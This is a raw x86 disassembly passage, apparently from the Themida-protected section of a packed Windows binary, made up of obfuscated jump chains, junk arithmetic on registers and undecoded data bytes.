loc_4FAA33:				; CODE XREF: Themida_:004FF2CBj
		add	edi, ebp
		sub	edi, 23981C28h
		pop	ebp
		xchg	edi, [esp]
		jmp	loc_4FA6B5
; ---------------------------------------------------------------------------


loc_4FAA44:				; CODE XREF: Themida_:00500159j
		pop	ecx
		sub	ebp, 643869C2h
		add	ebp, edx
		add	ebp, 643869C2h
		pop	edx
		xor	ebp, 34A4E234h
		sub	[edi+24h], ebp
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4


loc_4FAA67:				; CODE XREF: Themida_:004FAC47j
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xor	esi, [esp]
		jmp	loc_4FAF58
; ---------------------------------------------------------------------------


loc_4FAA7B:				; CODE XREF: Themida_:004FEA91j
		pop	eax
		push	edx
		jmp	loc_4FA1C0
; ---------------------------------------------------------------------------


loc_4FAA82:				; CODE XREF: Themida_:004FD861j
		xor	ecx, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	eax
		push	3A05h
		mov	[esp], esi
		mov	esi, esp
		push	eax
		mov	eax, 0D886C3Ch
		jmp	loc_4FB366
; ---------------------------------------------------------------------------
		db 0ADh
		dd 33E3B951h, 9DE92D96h, 50FFFFD3h, 0FFDAB6E9h,	241C8BFFh
		dd 8104C483h, 4C4h, 0B250E900h,	0E955FFFFh, 48EAh
; ---------------------------------------------------------------------------


loc_4FAAC8:				; CODE XREF: Themida_:004F71E5j
		pop	edi
		add	esp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		mov	ecx, 33CA30B7h
		jmp	loc_4FDA34
; ---------------------------------------------------------------------------
aSuc		db '\éUC',0
		dd 4721BA00h, 0C281742Ch, 4A4D78ACh, 4330E281h,	0EA814678h
		dd 0A8F8918Ch, 148BD501h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_4F8621
; ---------------------------------------------------------------------------


loc_4FAB15:				; CODE XREF: Themida_:00502457j
		push	ebx
		mov	ebx, 194D6FE3h
		jmp	loc_4F62E1
; ---------------------------------------------------------------------------
		dd 0E904C483h, 5DBAh, 0E924048Fh, 36D8h
; ---------------------------------------------------------------------------


loc_4FAB30:				; CODE XREF: Themida_:004F6488j
		push	5F91h
		jmp	loc_4F7BBD
; ---------------------------------------------------------------------------
		dw 1C8Bh
		dd 0E2895224h, 4C281h, 0C2830000h, 7225E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_4FAB4E:				; CODE XREF: Themida_:00500E89j
		or	eax, 636255E3h
		xor	eax, 77743688h
		xor	eax, 343C0699h
		and	eax, 5743530Eh
		neg	eax
		sub	eax, 9B08D69Dh
		xor	ebp, eax
		pop	eax
		add	ecx, ebp
		pop	ebp
		add	ecx, 4
		xor	ecx, [esp]
		jmp	loc_4FD85E
; ---------------------------------------------------------------------------
		db 0F7h, 0E9h, 68h
		dd 1BD1h, 0E9241489h, 0FFFFF5DEh, 80C6B151h, 0F18013E1h
		dd 0E9CB00D1h, 359Dh, 4B85059h,	0E9000000h, 0FFFFD251h
		dd 28B8h, 163F2D00h, 0F80114B1h, 0B1163F05h, 58188814h
		dd 0FFF25DE9h, 240400FFh, 77FFE99Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_4FABCA:				; CODE XREF: Themida_:004FE584j
		mov	ebp, esp
		add	ebp, 4
		push	ecx
		push	edx
		mov	edx, 78182F01h
		push	edx
		mov	edx, 4E487D21h
		jmp	loc_4F6EE9
; ---------------------------------------------------------------------------


loc_4FABE4:				; CODE XREF: Themida_:004FF367j
		add	ebp, 666713BBh
		sub	esp, 4
		jmp	loc_4FDA7E
; ---------------------------------------------------------------------------
		db 87h,	0Ch, 24h
		dd 241C895Ch, 6FE9E389h, 89000035h, 0F0B82404h,	0D78FF7Eh
		dd 784A30FCh, 124EE992h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_4FAC16:				; CODE XREF: Themida_:0050057Fj
		push	178Bh
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ecx
		add	ecx, 4
		push	7F10h
		mov	[esp], esi
		mov	esi, 4
		add	ecx, esi
		pop	esi
		xchg	ecx, [esp]
		mov	esp, [esp]
		shr	ecx, 0
		or	eax, eax
		jz	loc_4FAA67
		push	ebx
		push	edi
		jmp	loc_4FFE6B
; ---------------------------------------------------------------------------
		dd 8324048Bh, 343304C4h, 4F1EE924h, 0BB660000h,	4AE98BC8h
		dd 89000001h, 0E589242Ch, 1B2EBA52h, 9DE92E12h
		db 0F6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_4FAC7B:				; CODE XREF: Themida_:004F69BAj
		pop	edi
		jmp	loc_4FB3E2
; ---------------------------------------------------------------------------


loc_4FAC81:				; CODE XREF: Themida_:004F6708j
		pop	edi
		add	edi, 54A90B51h
		dec	edi
		jmp	loc_4FB563
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 0B9682404h, 8900005Fh, 0E2892414h, 4C281h, 53510000h
		dd 126BD9BBh, 43DBF746h, 8107EBC1h, 73DB26EBh, 0FF595301h
		dd 835B2434h, 0CA0104C4h, 744FE9h, 58C32900h, 0E9241C87h
		dd 6E0Dh, 0C781E789h, 4, 0E904C783h, 6CA0h
; ---------------------------------------------------------------------------


loc_4FACE0:				; CODE XREF: Themida_:00501529j
		push	edi
		jmp	loc_4FD057
; ---------------------------------------------------------------------------


loc_4FACE6:				; CODE XREF: Themida_:004F6D20j
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	eax
		add	eax, 4
		push	ebp
		mov	ebp, 4
		add	eax, ebp
		pop	ebp
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		xor	eax, 20574B3Eh
		push	edx
		push	73CFh
		mov	[esp], esi
		push	4CA63B58h
		pop	esi
		add	esi, 7C015086h
		push	ebx
		mov	ebx, 0C8A783DEh
		jmp	loc_4FF90A
; ---------------------------------------------------------------------------


loc_4FAD30:				; CODE XREF: Themida_:004FC040j
		push	esp
		jmp	loc_4FF449
; ---------------------------------------------------------------------------
		dw 0E689h
		dd 4EC81h, 4890000h, 7D90B824h,	0D8F776B2h, 0FFFD75E9h
		dd 4C481FFh, 81000000h,	4ECh, 24148900h, 0BD55E289h, 4
		dd 6174EA81h, 0EA0155B4h, 6174B850h, 0FAE955B4h, 48FFFFF3h
		dd 0E907E0C1h, 4C44h, 81E68956h, 4C6h, 4EE8100h, 87000000h
		dd 895C2434h, 0D3B3241Ch, 67E902B1h, 4000070h, 40D04FDh
		dd 0E9F828D9h, 33F2h, 0F300DDB6h, 72E5E9h, 0EB816600h
		dd 0C4E9192Fh, 5800001Ch, 5C240C87h, 9CC83B66h,	0FFAF45E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_4FADCD:				; CODE XREF: Themida_:00500B2Aj
		shr	ebx, 7
		push	eax
		push	ebx
		mov	ebx, 7A170B68h
		sub	ebx, 0FA6E9293h
		mov	eax, ebx
		jmp	loc_5015D6
; ---------------------------------------------------------------------------
		dd 53D830ACh, 2ECB6866h, 0FFBC51E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_4FADF1:				; CODE XREF: Themida_:004FCF0Cj
		mov	[esp], eax
		mov	eax, 3C3A7DDDh
		xor	ecx, eax
		pop	eax
		jmp	loc_4FD207
; ---------------------------------------------------------------------------
aBIwsRsns	db 'ÃiWé Réns',0
		dd 24048F00h, 148B665Ch, 0FBCCE924h, 0D5F6FFFFh, 0E9D9F580h
		dd 33h,	8105E6C1h, 8949B3F6h, 81DEF74Dh, 8E8162C6h, 5EF50119h
		dd 0FFEDC1E9h, 0D8E95AFFh, 29000037h, 0F1C381EBh, 0E912E968h
		dd 43CBh, 6AE9DDF6h, 8000005Bh,	0EC30F8EDh, 58E52859h
		dd 4BB05066h, 5866C528h, 0E9BBC580h, 0FFFFD6E3h, 65956852h
		dd 0E95A7127h, 0FFFFD1B3h, 81241C8Bh, 4C4h, 24048F00h
		dd 8924248Bh, 3BE92404h, 31000024h, 3C33243Ch, 6E42E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_4FAE9E:				; CODE XREF: Themida_:004F7F64j
		push	esi
		mov	esi, 0B34179Ah
		mov	ebp, 18FD5746h
		add	ebp, esi
		pop	esi
		shl	ebp, 3
		push	ebx
		jmp	loc_4F6C08
; ---------------------------------------------------------------------------
		db 0B8h, 0A5h, 2
		dd 0A12D1CCFh, 0E91CCF02h, 60C3h, 0D46E9BB9h, 2E1C155h
		dd 0FFBF2FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_4FAED1:				; CODE XREF: Themida_:004FEFF7j
		mov	edi, 8C65B0Ch
		jmp	loc_4FCA75
; ---------------------------------------------------------------------------
		db 0F7h
aASL		db 'ÕÁí',8,'éÁl',0
		db 0
; ---------------------------------------------------------------------------


loc_4FAEE5:				; CODE XREF: Themida_:005002C1j
		push	3B4D0188h
		pop	ecx
		xor	ecx, 446C6F16h
		dec	ecx
		jmp	loc_4FE605
; ---------------------------------------------------------------------------
		db 33h
		dd 248B242Ch, 0B30F6624h, 0E99C2404h, 0FFFFB964h
; ---------------------------------------------------------------------------


loc_4FAF08:				; CODE XREF: Themida_:004FF16Ej
		pop	eax
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		pop	dword ptr [esp]
		jmp	loc_500523
; ---------------------------------------------------------------------------
		db 81h
		dd 2D51DFC2h, 79E95811h, 2DFFFFF3h, 3C48252Ch, 9143E52Dh
		dd 2F30E90Ch, 0C890000h, 1B4FE924h, 8B660000h, 0B968240Ch
		dd 8900007Fh, 0E954242Ch, 30ACh, 0E904C783h, 0FFFFBF55h
; ---------------------------------------------------------------------------


loc_4FAF58:				; CODE XREF: Themida_:004FAA76j
		xor	[esp], esi
		jmp	loc_4F642C
; ---------------------------------------------------------------------------
		dd 81243C8Bh, 4C4h, 5832FF00h, 4AC6E9h,	24148700h, 0E924248Bh
		dd 0FFFFD9A5h, 100368h,	4798E900h, 148B0000h, 61BAE924h
		dd 0EE010000h, 59D6EE81h, 0E95D3A4Ch, 2510h
; ---------------------------------------------------------------------------


loc_4FAF9C:				; CODE XREF: Themida_:005025A6j
		pop	ecx
		add	ecx, 4
		jmp	loc_5002D6
; ---------------------------------------------------------------------------
		dd 0F611EB80h, 800E9D3h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_4FAFB2:				; CODE XREF: Themida_:004FEF2Dj
		pop	esi
		add	esp, 4
		jmp	loc_4F7CE6
; ---------------------------------------------------------------------------
		db 89h
		dd 0D6B02404h, 0C180ABB1h, 52C12897h, 0E98097B6h, 80F128DFh
		dd 585ADFC1h, 6D4C6866h, 240C8966h, 0F6241486h,	241486D2h
		dd 0D1865966h, 0D186D2F6h, 0C1FED1F6h, 80B4E980h, 0C83062E9h
		dd 4EC8359h, 51240489h,	93B47EB5h, 0F659EC30h, 0E95051DCh
		dd 6B23h, 6041B951h, 0F1817842h, 5532E45h, 0F707E9C1h
		dd 1FF181D9h, 814ADC59h, 703EF9C9h, 9BE561Dh, 1420641h
		dd 0E62E9F1h, 66BB0000h, 29031008h, 0E2C8E9D8h,	0E181FFFFh
		dd 3B3B145Fh, 428BBE56h, 0EE812601h, 3227036h, 0C106EEC1h
		dd 0C68105EEh, 503809ADh, 0FFB64FE9h, 0ACA4E9FFh, 0C801FFFFh
		dd 51D82959h, 3127BBB9h, 4C1A6869h, 1C890000h, 6656BB24h
		dd 0DBF71B83h, 6E86BD55h, 0ED811CB4h, 74E5CFFCh, 295DEB31h
		dd 241C8BD9h, 0FFDB8FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_4FB0A1:				; CODE XREF: Themida_:004FC572j
		dec	esi
		sub	esi, 279406DDh
		neg	esi
		not	esi
		inc	esi
		xor	esi, 2D926686h
		sub	ebp, 454D1330h
		add	ebp, esi
		add	ebp, 454D1330h
		mov	esi, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, 2
		add	ebp, 5C2426E1h
		add	ebp, ecx
		sub	ebp, 5C2426E1h
		pop	ecx
		xor	ebp, [esp]
		xor	[esp], ebp
		jmp	loc_4FCF79
; ---------------------------------------------------------------------------
		dw 248Bh
		dd 0C317E924h, 8151FFFFh, 39FA242Ch, 815D56A7h,	0A739FAC5h
		dd 0B9515956h, 375B6866h, 159C829h, 618BE9E8h, 48B0000h
		dd 1EE76824h, 11E90000h, 5500006Fh, 64141EBDh, 5EDC174h
		dd 7BE3BA52h, 0F28119A5h, 1A065B41h, 0E95AD531h, 75CFh
		dd 34C7055Ah, 0C18909E0h, 3FD5E9h, 2434FF00h
		db 5Dh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, 4
		add	ebp, ecx
		pop	ecx
		add	ebp, 4
		jmp	loc_4F6D8B
; ---------------------------------------------------------------------------
		db 5Bh,	89h, 0C8h
		dd offset byte_5010E9
		dd 3EB45000h, 58E730h, 241C8BF8h, 5561E9h, 6C015800h, 0C8E90424h
		dd 5F000019h, 3E3D68h, 24348900h, 2BD55h, 0EE890000h, 0C3E9815Dh
		dd 107C177h, 0C3BB53F1h, 107C177h, 85E95BD9h, 53FFFFE1h
		dd 5F0165BBh, 0DBF38139h, 0E931A53Bh, 72CFh
; ---------------------------------------------------------------------------


loc_4FB1BC:				; CODE XREF: Themida_:004F8D0Fj
		or	ebx, 4BA01159h
		jmp	loc_4FC682
; ---------------------------------------------------------------------------


loc_4FB1C7:				; CODE XREF: Themida_:004FDC60j
		add	esp, 4
		add	esp, 4
		add	esp, 4
		shr	ecx, 0Bh
		push	1635h
		mov	[esp], ebx
		push	6281h
		jmp	loc_4FD661
; ---------------------------------------------------------------------------
		db 0FFh
		dd 815D2434h, 4C4h, 74FF5200h, 8F5A0424h, 665C2404h, 6824048Bh
		dd 71D0h, 2961E9h, 0CE015B00h, 4FB85059h, 0F7303421h, 664135D0h
		dd 110555D4h, 165E047h,	0FA2AE9C6h, 815FFFFFh, 0FF3FFFF6h
		dd 0B6EF813Ah, 81784223h, 376290EFh, 81F70171h,	376290C7h
		dd 0EF7FE971h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_4FB24A:				; CODE XREF: Themida_:004FE01Cj
		pop	dword ptr [esp]
		mov	esp, [esp]
		xor	[esp], eax
		jmp	loc_4FBCB2
; ---------------------------------------------------------------------------
		dd 984AD2BBh, 0E9D8294Ah, 0FFFFF1FFh, 3913EB81h, 30FF2BE9h
		dd 0FFAAA1E9h, 24248BFFh, 5B240489h, 39E9DA89h,	81000052h
		dd 0ABD239F6h, 0E9F33118h, 0FFFFC2EEh
; ---------------------------------------------------------------------------


loc_4FB28C:				; CODE XREF: Themida_:004FA430j
		add	[esp+4], edi
		pop	edi
		jmp	loc_4F5D12
; ---------------------------------------------------------------------------
		dw 3768h
		dd 0E900001Dh, 0FFFFE051h, 4C681h, 0EE830000h, 24348704h
		dd 240C895Ch, 0FFCFB9E9h, 4D828FFh, 0F87CE956h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_4FB2BE:				; CODE XREF: Themida_:00501497j
		push	172Dh
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebp
		jmp	loc_4FF769
; ---------------------------------------------------------------------------
		db 66h
		dd 51240C8Bh, 6AB668h, 24248900h, 4BA52h, 6C810000h, 60730424h
		dd 54011C52h, 44810424h, 60730424h, 595A1C52h, 3FF8E9h
		dd 0C4815900h, 4, 2BE56h, 0F0010000h, 541DE95Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_4FB316:				; CODE XREF: Themida_:004FA516j
		push	2CDEh
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	esi
		jmp	loc_4FF65E
; ---------------------------------------------------------------------------
		db 58h
		dd 0E181D1F7h, 58B22B7Bh, 2B62E981h, 0CE8910A2h, 51240C8Bh
		dd 0C181E189h, 4, 4C181h, 0FF510000h, 59042474h, 5C24048Fh
		dd 5E1C7709h, 0FFA9B1E9h, 0A9ACE9FFh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_4FB366:				; CODE XREF: Themida_:004FAA9Aj
		and	eax, 1CD66307h
		push	ecx
		mov	ecx, 58C1352Ah
		xor	ecx, 5E826400h
		and	eax, ecx
		pop	ecx
		xor	eax, 4004004h
		add	esi, eax
		pop	eax
		push	15A2h
		mov	[esp], ebx
		jmp	loc_5007C7
; ---------------------------------------------------------------------------


loc_4FB38F:				; CODE XREF: Themida_:004FFCCEj
		pop	ecx


loc_4FB390:				; CODE XREF: Themida_:004FCE0Cj
		push	edx
		mov	edx, ebx
		mov	eax, edx
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		push	5854h
		mov	[esp], eax
		jmp	loc_4F958D
; ---------------------------------------------------------------------------


loc_4FB3AB:				; CODE XREF: Themida_:004FE843j
		mov	esi, esp
		add	esi, 4
		push	edx
		jmp	loc_4F60D2
; ---------------------------------------------------------------------------
		db 0BEh, 5, 68h
		dd 0F6812573h, 25736801h, 2DB4E9h, 4C48100h, 81000000h
		dd 0FFF3C2C5h, 0E9EB01FFh, 44F1h, 0F073E95Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_4FB3E2:				; CODE XREF: Themida_:004FAC7Cj
		and	esi, 6E117D21h
		shr	esi, 4
		sub	esi, 68B354B3h
		push	0
		sub	[esp], esi
		pop	esi
		sub	esi, 12C2EAF9h
		sub	eax, 6A5E344Fh
		sub	eax, esi
		add	eax, 6A5E344Fh
		mov	esi, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		push	edx
		mov	edx, 3F1070B4h
		and	edx, 1F4371D2h
		push	edi
		mov	edi, 66E755D8h
		inc	edi
		add	edi, 75422941h
		neg	edi
		add	edi, 5BD20B6Eh
		add	edi, 9F57D43Ch
		sub	edx, edi
		pop	edi
		jmp	loc_4F8331
; ---------------------------------------------------------------------------


loc_4FB44E:				; CODE XREF: Themida_:005017A6j
		mov	esp, [esp]
		push	4FF7h
		mov	[esp], ebx
		jmp	loc_4FC5E9
; ---------------------------------------------------------------------------
		dw 815Dh
		dd 592812EFh, 586BE975h, 4BB0000h, 1000000h, 0FF565BDEh
		dd 8B042474h
		db 34h,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_4FD622
; ---------------------------------------------------------------------------
		dw 3C87h
		dd 0E1F65C24h, 0CCB60F66h, 75BB6866h, 240C8966h, 0C8B60F66h
		dd 0E99C5166h, 0FFFFA872h
; ---------------------------------------------------------------------------


loc_4FB4A0:				; CODE XREF: Themida_:00501CDBj
		mov	ebx, 1ABF0189h
		sub	edi, ebx
		pop	ebx
		pop	edx
		jmp	loc_4F85D8
; ---------------------------------------------------------------------------
		dw 0EA81h
		dd 45A25629h, 33B3C281h, 53E9259Dh, 87FFFFA8h, 565C241Ch
		dd 0FFE848E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_4FB4C9:				; CODE XREF: Themida_:004F87A4j
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		push	ebp
		jmp	loc_4F7607
; ---------------------------------------------------------------------------
		dd 0E9545558h, 0FFFFDCCEh, 4C2CC581h, 0E8010D51h, 58C6295Dh
		dd 4EC81h, 14890000h, 1E78BA24h, 48E92620h
		db 30h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_4FB503:				; CODE XREF: Themida_:00501E97j
		mov	esi, 11F2A3A2h
		add	esi, ebp
		pop	ebp
		push	eax
		jmp	loc_4FC799
; ---------------------------------------------------------------------------
		db 46h,	51h, 0B9h
		dd 13775E09h, 6B5BF181h, 0E9812BC9h, 19525B33h,	51E9D9F7h
		dd 83000004h, 3C8704C7h, 0BD555C24h, 38977FF6h,	0ED8F581h
		dd 454561B1h, 2882F581h, 0CAE9451Fh, 0BAFFFFB1h, 35DD66BDh
		dd 0F1E9FA87h
		db 0ABh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_4FB557:				; CODE XREF: Themida_:004F73B5j
		add	esi, 4CEC22BEh
		pop	ecx
		jmp	loc_4F65CC
; ---------------------------------------------------------------------------


loc_4FB563:				; CODE XREF: Themida_:004FAC89j
		xor	edi, 0E74776A0h
		mov	eax, edi
		pop	edi
		add	[esp+4], eax
		mov	eax, [esp]
		add	esp, 4
		mov	eax, [esp]
		add	esp, 4
		push	edi
		push	ebp
		mov	ebp, 41101E7Dh
		mov	edi, ebp
		pop	ebp
		sub	eax, 15CF6F8Ah
		sub	eax, edi
		add	eax, 15CF6F8Ah
		push	dword ptr [esp]
		jmp	loc_4F62AA
; ---------------------------------------------------------------------------
		db 59h,	8Fh, 4
		dd 34FF5C24h, 0A8685824h, 0E900004Bh, 1F0Bh, 2404895Ch
		dd 55575854h, 0A1E950h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_4FB5BE:				; CODE XREF: Themida_:004FDE3Aj
		shr	eax, 0Bh
		xor	ecx, eax
		push	12B9h
		mov	[esp], ecx
		push	esi
		jmp	loc_4FCB9A
; ---------------------------------------------------------------------------
		db 66h,	50h, 0B4h
		dd 66E22049h, 0C0C2FE58h, 67E908E2h
		db 10h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_4FB5E3:				; CODE XREF: Themida_:004FDD68j
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		mov	ebp, [esp]
		jmp	loc_4FA57B
; ---------------------------------------------------------------------------
		dw 0F101h
aSy		db '^éY*',0
		align 2
		dw 4BBh
		dd 0E9000000h, 0FFFFB00Dh
; ---------------------------------------------------------------------------


loc_4FB604:				; CODE XREF: Themida_:004F60BDj
		mov	[esp], esi
		mov	esi, 310680h
		add	[esp+8], esi
		pop	esi
		add	dword ptr [esp+4], 19E37366h
		add	[esp+4], eax
		push	edx
		mov	edx, 19E37366h
		add	dword ptr [esp+8], 3E6949CAh
		sub	[esp+8], edx
		sub	dword ptr [esp+8], 3E6949CAh
		mov	edx, [esp]
		push	edi
		jmp	loc_4FEB3F
; ---------------------------------------------------------------------------
		dd 7D9A6851h, 83592D2Bh, 2C8904ECh, 0D81FE924h,	0D389FFFFh
		dd 0FF5BDF89h, 6AE92434h, 68000056h, 210D3772h,	0FFBFBDE9h
		dd 241C89FFh, 2CE9DDB7h, 5FFFFF7h, 611F9DADh, 5858C229h
		dd 5C241487h, 8B2434FFh, 0C481240Ch, 4
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_4FD0C8
; ---------------------------------------------------------------------------
		dd 240C8B66h, 2C481h, 0FE200000h, 83241C8Bh, 0CE8004C4h
		dd 16BEE989h, 55AD0000h, 901ED9BDh, 81D5F73Ah, 0B5BB74EDh
		dd 3BE2E961h, 0BE560000h, 3D070A72h, 66BE9h, 0C2E18000h
		dd 0E969F180h, 6F7Dh
; ---------------------------------------------------------------------------


loc_4FB6D8:				; CODE XREF: Themida_:004FF66Aj
		xchg	esi, [esp]
		jmp	loc_4FC37E
; ---------------------------------------------------------------------------


loc_4FB6E0:				; CODE XREF: Themida_:loc_4F841Aj
		shr	edx, 1
		cmp	eax, edx
		jmp	loc_4FDDAC
; ---------------------------------------------------------------------------
		db 81h,	0C5h, 1Ah
		dd 81684046h, 0EF138BE5h, 0C5814530h, 38FB55AFh, 0FFADE3E9h
		dd 241C87FFh, 241C895Ch, 0E2F4468h, 0EBC15B4Fh,	0D1DBF702h
		dd 40F381EBh, 896CA336h, 424A5BDAh, 6087F281h, 0E2C13435h
		dd 0B9CA8104h, 554C4018h, 0C6DDBBBDh, 0E9EA31ECh, 0FFFFD19Ch
		dd 4C483h, 241C8BD8h, 0FFEFF6E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_4FB749:				; CODE XREF: Themida_:004FA5EEj
		push	7643h
		mov	[esp], esi
		push	esp
		pop	esi
		add	esi, 4
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 4
		add	esi, 706904DBh
		add	esi, edx
		push	eax
		mov	eax, 45D33E43h
		and	eax, 526D3E87h
		sub	eax, 0CFD83928h
		sub	esi, eax
		pop	eax
		mov	edx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		jmp	loc_4FA3B6
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 0B7CBE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_4FB79E:				; CODE XREF: Themida_:004FECA9j
		cmp	ecx, eax
		pushf
		jmp	loc_4F5D12
; ---------------------------------------------------------------------------
		dw 3487h
		dd 0E6C15C24h, 1555E906h, 52660000h, 0F330FAB6h, 6358E9h
		dd 81C30100h, 7B1AFCEBh, 96E95224h, 5AFFFFABh, 0C2AC3548h
		dd 30E98E26h
		db 3Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_4FB7D7:				; CODE XREF: Themida_:004F938Cj
		shl	edx, 6
		or	edx, 690C7DC3h
		push	ecx
		mov	ecx, 465F15C6h
		push	eax
		mov	eax, 30F3334Ah
		jmp	loc_4FF2DB
; ---------------------------------------------------------------------------
		db 83h,	0ECh, 4
		dd 89240C89h, 87268E1h,	4890000h, 0F6AFE924h, 0EC81FFFFh
		dd 4, 4740E9h
		db 0
; ---------------------------------------------------------------------------


loc_4FB811:				; CODE XREF: Themida_:00500E12j
		add	edx, 4
		jmp	loc_4FC311
; ---------------------------------------------------------------------------
		dd 4C481h, 0B8500000h, 493C6D72h, 0C3929205h, 58C701B6h
		dd 0FFB4DBE9h, 92C281FFh, 145733Dh, 92EA81F2h, 5E45733Dh
		dd 4EA81h, 0FF520000h, 5A042474h, 0FFB904E9h, 7DF480FFh
		dd 3239E9h, 0ED815D00h,	3444127Bh, 57ED815Fh, 8905C274h
		dd 0DD015DEBh, 242C875Bh, 243CD35Ch, 0A494E99Ch, 487FFFFh
		dd 3C895C24h, 52236824h, 1C890000h, 6F0F6824h, 535B0386h
		dd 651DE9h, 0A9E95200h,	87000063h, 248B242Ch, 24148924h
		dd 0FFA465E9h, 45B668FFh, 24890000h, 24048124h,	4, 8324048Fh
		dd 5E042404h, 19768h, 24148900h, 2468h,	24148B00h, 4C481h
		dd 0EE810000h, 50790467h, 0B4BE5655h, 0C14DBF5Dh, 0F68103EEh
		dd 68BC0B99h, 461ACE81h, 0EE812082h, 1ACF6523h,	8BBCC681h
		dd 0F5891321h, 5DEE015Eh, 6C1CEE81h, 0D6015764h, 4EC81h
		dd 3C890000h, 6C1CBF24h, 0FE015764h, 63EBE95Fh,	1C890000h
		dd 0EF06E924h, 0E181FFFFh, 76B7179h, 2DF2E9h
		db 0
; ---------------------------------------------------------------------------


loc_4FB939:				; CODE XREF: Themida_:004FF6F4j
		push	esp
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		add	esp, 4
		add	ecx, 4
		push	esi
		mov	esi, 4
		add	ecx, esi
		pop	esi
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		push	4A3Ch
		mov	[esp], ebp
		jmp	loc_4FFCD3
; ---------------------------------------------------------------------------


loc_4FB96F:				; CODE XREF: Themida_:004F7735j
		sub	eax, 1
		shl	eax, 2
		jmp	loc_4FD7A6
; ---------------------------------------------------------------------------
		dd 0C181E1D1h, 8A48C0A5h, 8959CE01h, 3BE95EF7h,	86FFFFE3h
		dd 99E9243Ch
		db 52h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_4FB997:				; CODE XREF: Themida_:004FDF72j
		add	edi, 4
		push	edi
		push	dword ptr [esp+4]
		jmp	loc_4F92D7
; ---------------------------------------------------------------------------


loc_4FB9A7:				; CODE XREF: Themida_:004FF56Aj
		mov	cx, [esp]
		push	62CBh
		mov	[esp], ecx
		jmp	loc_4F8FD6
; ---------------------------------------------------------------------------
		dd 0BD242C89h, 1B68FFh,	4246C31h, 0FFBD28E9h, 2434FFFFh
		dd 592434FFh, 55E18951h, 4BDh, 0B1F8E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_4FB9DE:				; CODE XREF: Themida_:004F9AA7j
		push	dword ptr [esp]
		mov	eax, [esp]
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, 4
		sub	ebp, 7F480E42h
		jmp	loc_50165D
; ---------------------------------------------------------------------------
		dd 48BC601h, 4C48124h, 68000000h, 7CAEh, 0BB241C89h, 6B5E6490h
		dd 65E7E9h
		db 0
; ---------------------------------------------------------------------------


loc_4FBA15:				; CODE XREF: Themida_:004FDDCEj
		mov	edi, 1E1A1ABEh
		or	edi, 33BD6709h
		xor	edi, 29A3144Fh
		not	edi
		xor	edi, 2AAE5542h
		add	edi, 457B933Fh
		jmp	loc_5012C5
; ---------------------------------------------------------------------------


loc_4FBA39:				; CODE XREF: Themida_:004FFCDFj
		add	ebp, edi
		push	dword ptr [esp]
		mov	edi, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		push	eax
		jmp	loc_4FEA8A
; ---------------------------------------------------------------------------
		dd 53E4BA52h, 0B850295Ch, 692F2AF6h, 21088A35h,	2DD8F74Bh
		dd 156C2947h, 57E8AA35h, 58C221C7h, 0C104EAC1h,	0F28105EAh
		dd 46846C4Fh, 0C465BF57h, 0FA294680h, 0BC4AE95Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_4FBA8A:				; CODE XREF: Themida_:004F8D8Dj
		shl	edx, 8
		jmp	loc_500518
; ---------------------------------------------------------------------------
		dw 0EC81h
		dd 2, 24148966h, 1240480h, 24148B66h, 6602C483h, 66698A68h
